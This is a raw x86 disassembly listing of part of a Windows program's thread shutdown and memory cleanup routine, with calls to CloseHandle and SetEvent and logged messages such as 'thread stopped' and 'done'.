cmp ecx, dword [eax + 0x10]
jb 0x5459d1
call fcn.0050dd58
mov edx, dword [ebx + 0x20]
mov eax, dword [edx]
mov dword [edi + 0x28], eax
mov eax, dword [ebx + 0x14]
test eax, eax
jne 0x5459ec
call fcn.0050dd58
mov eax, dword [ebx + 0x14]
test eax, eax
je 0x5459f0
mov eax, dword [eax]
jmp 0x5459f2
xor eax, eax
mov ecx, dword [ebx + 0x18]
cmp ecx, dword [eax + 0x10]
jb 0x5459ff
call fcn.0050dd58
mov edx, dword [ebx + 0x18]
mov eax, dword [edx]
mov dword [edi + 0x20], eax
mov eax, dword [0x5be154]
mov esi, eax
cmp eax, dword [0x5be158]
jbe 0x545a1b
call fcn.0050dd58
mov eax, dword [ebx + 0x1c]
test eax, eax
je 0x545a2a
cmp eax, dword [0x5be148]
je 0x545a2f
call fcn.0050dd58
mov ecx, dword [ebx + 0x20]
sub ecx, esi
sar ecx, 2
mov dword [edi + 0x2c], ecx
mov esi, dword [0x5be16c]
cmp esi, dword [0x5be170]
jbe 0x545a4d
call fcn.0050dd58
mov eax, dword [ebx + 0x14]
test eax, eax
je 0x545a5c
cmp eax, dword [0x5be160]
je 0x545a61
call fcn.0050dd58
mov edx, dword [ebx + 0x18]
mov al, byte [0x5bdf2a]
sub edx, esi
sar edx, 2
mov dword [edi + 0x24], edx
mov ecx, 0x5be0f0
mov dword [ebx + 0x34], edi
mov byte [ebx + 0x59], al
call fcn.00414c10
mov ebx, dword [esp + 0x5c]
mov esi, dword [edi + 8]
push 0
mov eax, ebx
cdq
push 0x3e8
push edx
push eax
call fcn.005191a0
lea ecx, [esp + 0x118]
push ecx
mov ecx, esi
mov dword [esp + 0x11c], eax
mov dword [esp + 0x120], edx
call fcn.00412690
mov eax, 0x540840
mov dword [esp + 0x120], eax
mov eax, dword [esi]
lea edx, [esi + 8]
push edx
add eax, 0x14
mov dword [esp + 0x128], edi
push eax
lea edi, [esp + 0x128]
call fcn.00408ae0
add ebx, 0xa
mov dword [esp + 0x5c], ebx
mov eax, dword [0x5be720]
test eax, eax
jne 0x545afd
call fcn.0050dd58
mov eax, dword [0x5be720]
test eax, eax
je 0x545b01
mov ecx, dword [eax]
jmp 0x545b03
xor ecx, ecx
mov edx, dword [0x5be724]
cmp edx, dword [ecx + 0x10]
jb 0x545b18
call fcn.0050dd58
mov eax, dword [0x5be720]
add dword [0x5be724], 4
xor edi, edi
jmp 0x545610
mov eax, dword [0x5be140]
sub eax, dword [0x5be13c]
test eax, 0xfffffffc
jne 0x545ba1
mov eax, dword [0x5bc150]
cmp eax, edi
je 0x545ba1
xor esi, esi
cmp dword [0x5bc15c], esi
jbe 0x545b8c
jmp 0x545b50
mov edi, dword [eax + esi*4]
test edi, edi
je 0x545b7c
mov ebx, dword [edi]
lea eax, [ebx + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
test eax, eax
jne 0x545b6e
mov ecx, ebx
call fcn.00412b60
push edi
call fcn.0050d7de
mov eax, dword [0x5bc150]
add esp, 4
mov dword [eax + esi*4], 0
inc esi
cmp esi, dword [0x5bc15c]
jb 0x545b50
push eax
call fcn.0050fac2
add esp, 4
mov dword [0x5bc150], 0
xor edi, edi
mov eax, bind
mov ecx, 0x5be120
lock xadd dword [ecx], eax
test eax, 0x40000000
jne 0x545bff
cmp eax, 0x80000000
jle 0x545bff
mov edx, ecx
lock bts dword [edx], 0x1e
jb 0x545bff
mov ecx, dword [0x5be124]
cmp ecx, edi
jne 0x545bf8
push edi
push edi
call fcn.00417d00
mov ecx, eax
add esp, 8
mov edx, ecx
mov esi, 0x5be124
xor eax, eax
lock cmpxchg dword [esi], edx
mov esi, eax
cmp esi, edi
je 0x545bf8
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, esi
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
push str._r_n_main_thread_wait__r_n
push 0x5bb2e0
call fcn.004157c0
mov ebx, dword [esp + 0x84]
xor esi, esi
add esp, 8
cmp dword [0x5bc15c], esi
jbe 0x545c5b
mov edi, dword [ebx + esi*4]
call fcn.0040fa70
push str.thread_stopped_r_n
push 0x5bb2e0
call fcn.004157c0
mov edi, dword [ebx + esi*4]
add esp, 8
test edi, edi
je 0x545c52
push edi
call fcn.0040f990
push edi
call fcn.0050d7de
add esp, 4
inc esi
cmp esi, dword [0x5bc15c]
jb 0x545c22
push ebx
call fcn.0050fac2
add esp, 4
push str.done_r_n
push 0x5bb2e0
call fcn.004157c0
mov edi, dword [esp + 0xc0]
add esp, 8
mov byte [0x5bdf2b], 1
call fcn.0040fa70
test edi, edi
je 0x545c9c
push edi
call fcn.0040f990
push edi
call fcn.0050d7de
add esp, 4
mov edi, dword [esp + 0xb4]
mov ecx, edi
call fcn.0050a2f0
call fcn.0040fa70
test edi, edi
je 0x545cc2
push edi
call fcn.0040f990
push edi
call fcn.0050d7de
add esp, 4
mov eax, 0x5be778
mov ecx, 1
lock xadd dword [eax], ecx
mov edi, dword [esp + 0x104]
call fcn.0040fa70
test edi, edi
je 0x545cef
push edi
call fcn.0040f990
push edi
call fcn.0050d7de
add esp, 4
mov edx, 0x5be79c
mov eax, 1
lock xadd dword [edx], eax
mov edi, dword [esp + 0x60]
call fcn.0040fa70
test edi, edi
je 0x545d19
push edi
call fcn.0040f990
push edi
call fcn.0050d7de
add esp, 4
mov ecx, 0x5be744
mov edx, 1
lock xadd dword [ecx], edx
mov edi, dword [esp + 0x10]
call fcn.0040fa70
test edi, edi
je 0x545d43
push edi
call fcn.0040f990
push edi
call fcn.0050d7de
add esp, 4
mov ecx, dword [0x5be170]
mov edx, dword [0x5be16c]
mov eax, ecx
sub eax, edx
sar eax, 2
xor edi, edi
test eax, eax
jbe 0x545dc0
mov eax, dword [0x5be158]
sub eax, dword [0x5be154]
sar eax, 2
lea ebx, [ebx]
xor esi, esi
test eax, eax
jbe 0x545db4
jmp 0x545d80
mov ecx, dword [0x5bdf44]
mov edx, dword [ecx + edi*4]
mov eax, dword [edx + esi*4]
push eax
call fcn.0050f521
mov eax, dword [0x5be158]
sub eax, dword [0x5be154]
inc esi
sar eax, 2
add esp, 4
cmp esi, eax
jb 0x545d80
mov ecx, dword [0x5be170]
mov edx, dword [0x5be16c]
mov esi, ecx
sub esi, edx
inc edi
sar esi, 2
cmp edi, esi
jb 0x545d70
sub ecx, edx
sar ecx, 2
xor esi, esi
test ecx, ecx
jbe 0x545df6
jmp 0x545dd0
mov ecx, dword [0x5bdf44]
mov eax, dword [ecx + esi*4]
push eax
call fcn.0050fac2
mov edx, dword [0x5be170]
sub edx, dword [0x5be16c]
inc esi
sar edx, 2
add esp, 4
cmp esi, edx
jb 0x545dd0
mov eax, dword [0x5bdf44]
push eax
call fcn.0050fac2
xor esi, esi
add esp, 4
cmp dword [0x5bc15c], esi
jbe 0x545e5f
mov edi, edi
mov ecx, dword [0x5bc154]
mov edx, dword [ecx + esi*4]
push edx
call fcn.00412350
mov eax, dword [0x5bc154]
mov edi, dword [eax + esi*4]
test edi, edi
je 0x545e3a
push edi
call fcn.00411dd0
push edi
call fcn.0050d7de
add esp, 4
mov ecx, dword [0x5bdf2c]
mov edi, dword [ecx + esi*4]
test edi, edi
je 0x545e56
push edi
call fcn.00411340
push edi
call fcn.0050d7de
add esp, 4
inc esi
cmp esi, dword [0x5bc15c]
jb 0x545e10
mov edx, dword [0x5bdf2c]
push edx
call fcn.0050fac2
mov eax, dword [0x5bc154]
add esp, 4
push eax
call fcn.0050fac2
add esp, 4
mov edi, 0x5be700
call fcn.004129c0
mov edi, 0x5be0f0
call fcn.004129c0
mov eax, dword [0x5bdf40]
mov ecx, dword [eax + 0x18]
mov ebx, dword [ecx]
mov edi, dword [eax]
mov dword [esp + 0xd0], edi
mov dword [esp + 0xd4], ebx
lea ebx, [ebx]
mov esi, dword [eax + 0x18]
mov eax, dword [eax]
test edi, edi
je 0x545ebd
cmp edi, eax
je 0x545ec2
call fcn.0050dd58
cmp ebx, esi
je 0x545f2c
lea esi, [esp + 0xd0]
call fcn.0042af50
test edi, edi
jne 0x545f28
call fcn.0050dd58
xor eax, eax
cmp ebx, dword [eax + 0x18]
jne 0x545ee7
call fcn.0050dd58
mov esi, dword [ebx + 0x10]
test esi, esi
je 0x545efd
push esi
call fcn.0040f900
push esi
call fcn.0050d7de
add esp, 4
mov edx, dword [0x5bdf40]
push ebx
push edi
lea ecx, [esp + 0x290]
push ecx
push edx
call fcn.00402ec0
mov edi, dword [esp + 0xd0]
mov ebx, dword [esp + 0xd4]
mov eax, dword [0x5bdf40]
jmp 0x545eb0
mov eax, dword [edi]
jmp 0x545edd
mov ecx, 0x5be0f0
call fcn.00414c10
mov ecx, 0x5be700
call fcn.00414c10
mov edi, dword [0x5be16c]
mov eax, dword [0x5be170]
cmp edi, eax
jbe 0x545f59
call fcn.0050dd58
mov eax, dword [0x5be170]
mov esi, dword [0x5be160]
nop
mov ebx, eax
cmp dword [0x5be16c], eax
jbe 0x545f6f
call fcn.0050dd58
test esi, esi
je 0x545f7b
cmp esi, dword [0x5be160]
je 0x545f80
call fcn.0050dd58
cmp edi, ebx
je 0x545fcb
test esi, esi
jne 0x545fc3
call fcn.0050dd58
xor eax, eax
cmp edi, dword [eax + 0x10]
jb 0x545f99
call fcn.0050dd58
mov eax, dword [edi]
push eax
call fcn.0050f521
add esp, 4
test esi, esi
jne 0x545fc7
call fcn.0050dd58
xor eax, eax
cmp edi, dword [eax + 0x10]
jb 0x545fb9
call fcn.0050dd58
mov eax, dword [0x5be170]
add edi, 4
jmp 0x545f60
mov eax, dword [esi]
jmp 0x545f8f
mov eax, dword [esi]
jmp 0x545faf
mov edi, dword [0x5be154]
mov eax, dword [0x5be158]
cmp edi, eax
jbe 0x545fe4
call fcn.0050dd58
mov eax, dword [0x5be158]
mov esi, dword [0x5be148]
lea ebx, [ebx]
mov ebx, eax
cmp dword [0x5be154], eax
jbe 0x545fff
call fcn.0050dd58
test esi, esi
je 0x54600b
cmp esi, dword [0x5be148]
je 0x546010
call fcn.0050dd58
cmp edi, ebx
je 0x54605b
test esi, esi
jne 0x546053
call fcn.0050dd58
xor eax, eax
cmp edi, dword [eax + 0x10]
jb 0x546029
call fcn.0050dd58
mov ecx, dword [edi]
push ecx
call fcn.0050f521
add esp, 4
test esi, esi
jne 0x546057
call fcn.0050dd58
xor eax, eax
cmp edi, dword [eax + 0x10]
jb 0x546049
call fcn.0050dd58
mov eax, dword [0x5be158]
add edi, 4
jmp 0x545ff0
mov eax, dword [esi]
jmp 0x54601f
mov eax, dword [esi]
jmp 0x54603f
call fcn.00460080
mov edx, dword [0x5bdfc0]
mov eax, dword [edx + 4]
call eax
mov edi, 0x5be700
call fcn.004129c0
mov eax, dword [0x5bdf40]
xor edi, edi
cmp eax, edi
je 0x546086
push eax
call fcn.00401060
mov ecx, 0x5be700
mov dword [0x5bdf40], edi
call fcn.00414c10
mov ecx, 0x5be17c
call fcn.0041a290
test eax, eax
jne 0x5460c8
mov ecx, dword [0x5be178]
mov ecx, dword [ecx + 4]
add ecx, 0x5be178
mov eax, dword [ecx + 8]
or eax, 2
cmp dword [ecx + 0x28], edi
jne 0x5460c1
or eax, 4
push edi
push eax
call fcn.004156c0
mov ecx, 0x5be204
call fcn.0041a290
test eax, eax
jne 0x5460fa
mov edx, dword [0x5be200]
mov ecx, dword [edx + 4]
add ecx, 0x5be200
mov eax, dword [ecx + 8]
or eax, 2
cmp dword [ecx + 0x28], edi
jne 0x5460f3
or eax, 4
push edi
push eax
call fcn.004156c0
mov ecx, 0x5be28c
call fcn.00404170
test eax, eax
jne 0x54612b
mov eax, dword [0x5be288]
mov ecx, dword [eax + 4]
add ecx, 0x5be288
mov eax, dword [ecx + 8]
or eax, 2
cmp dword [ecx + 0x28], edi
jne 0x546124
or eax, 4
push edi
push eax
call fcn.004156c0
mov ecx, 0x5be31c
call fcn.00404170
test eax, eax
jne 0x54615d
mov ecx, dword [0x5be310]
mov ecx, dword [ecx + 4]
add ecx, 0x5be310
mov eax, dword [ecx + 8]
or eax, 2
cmp dword [ecx + 0x28], edi
jne 0x546156
or eax, 4
push edi
push eax
call fcn.004156c0
mov ecx, 0x5be3ac
call fcn.00404170
test eax, eax
jne 0x54618f
mov edx, dword [0x5be3a0]
mov ecx, dword [edx + 4]
add ecx, 0x5be3a0
mov eax, dword [ecx + 8]
or eax, 2
cmp dword [ecx + 0x28], edi
jne 0x546188
or eax, 4
push edi
push eax
call fcn.004156c0
mov ecx, 0x5be55c
call fcn.00404170
test eax, eax
jne 0x5461c0
mov eax, dword [0x5be550]
mov ecx, dword [eax + 4]
add ecx, 0x5be550
mov eax, dword [ecx + 8]
or eax, 2
cmp dword [ecx + 0x28], edi
jne 0x5461b9
or eax, 4
push edi
push eax
call fcn.004156c0
mov ecx, 0x5be5ec
call fcn.00404170
test eax, eax
jne 0x5461f2
mov ecx, dword [0x5be5e0]
mov ecx, dword [ecx + 4]
add ecx, 0x5be5e0
mov eax, dword [ecx + 8]
or eax, 2
cmp dword [ecx + 0x28], edi
jne 0x5461eb
or eax, 4
push edi
push eax
call fcn.004156c0
mov ecx, 0x5be67c
call fcn.00404170
test eax, eax
jne 0x546224
mov edx, dword [0x5be670]
mov ecx, dword [edx + 4]
add ecx, 0x5be670
mov eax, dword [ecx + 8]
or eax, 2
cmp dword [ecx + 0x28], edi
jne 0x54621d
or eax, 4
push edi
push eax
call fcn.004156c0
mov eax, dword [0x5be818]
mov esi, eax
cmp eax, edi
je 0x546251
mov ecx, dword [eax]
cmp ecx, edi
je 0x546248
call fcn.00419470
cmp eax, edi
je 0x546248
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx]
push 1
call eax
push esi
call fcn.0050d7de
add esp, 4
mov ecx, dword [0x5bc174]
push ecx
call fcn.0050f521
mov edx, dword [0x5bc170]
add esp, 4
push edx
call fcn.0050f521
mov eax, dword [0x5be84c]
add esp, 4
push eax
call fcn.0050f521
mov ecx, dword [0x5be850]
add esp, 4
push ecx
call fcn.0050f521
mov edx, dword [0x5be854]
add esp, 4
push edx
call fcn.0050f521
mov eax, dword [0x5be85c]
add esp, 4
push eax
call fcn.0050f521
mov ecx, dword [0x5be810]
add esp, 4
push ecx
call fcn.0050f521
mov edx, dword [0x5be814]
add esp, 4
push edx
call fcn.0050f521
mov eax, dword [0x5be860]
add esp, 4
push eax
call fcn.0050f521
add esp, 4
mov byte [esp + 0x34c], 0xd
lea ecx, [esp + 0x2f8]
call fcn.004034b0
lea ecx, [esp + 0x2f8]
call fcn.0041a410
mov byte [esp + 0x34c], 0xc
lea ecx, [esp + 0x230]
call fcn.004034b0
lea ecx, [esp + 0x230]
call fcn.0041a410
mov byte [esp + 0x34c], 0xa
cmp dword [esp + 0xa8], 8
jb 0x546337
mov ecx, dword [esp + 0x94]
push ecx
call fcn.0050d7de
add esp, 4
xor edx, edx
mov dword [esp + 0xa8], 7
mov dword [esp + 0xa4], edi
mov word [esp + 0x94], dx
mov byte [esp + 0x34c], 1
lea ecx, [esp + 0x1a0]
call fcn.00403370
lea ecx, [esp + 0x1a0]
call fcn.00418030
mov byte [esp + 0x34c], 0
lea eax, [esp + 0x28]
push eax
call fcn.00401930
mov dword [esp + 0x34c], 0xffffffff
cmp dword [esp + 0x58], 0x10
jb 0x5463a4
mov ecx, dword [esp + 0x44]
push ecx
call fcn.0050d7de
add esp, 4
mov dword [esp + 0x54], edi
xor eax, eax
mov ecx, dword [esp + 0x344]
pop edi
pop esi
mov byte [esp + 0x3c], 0
mov dword [esp + 0x50], 0xf
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret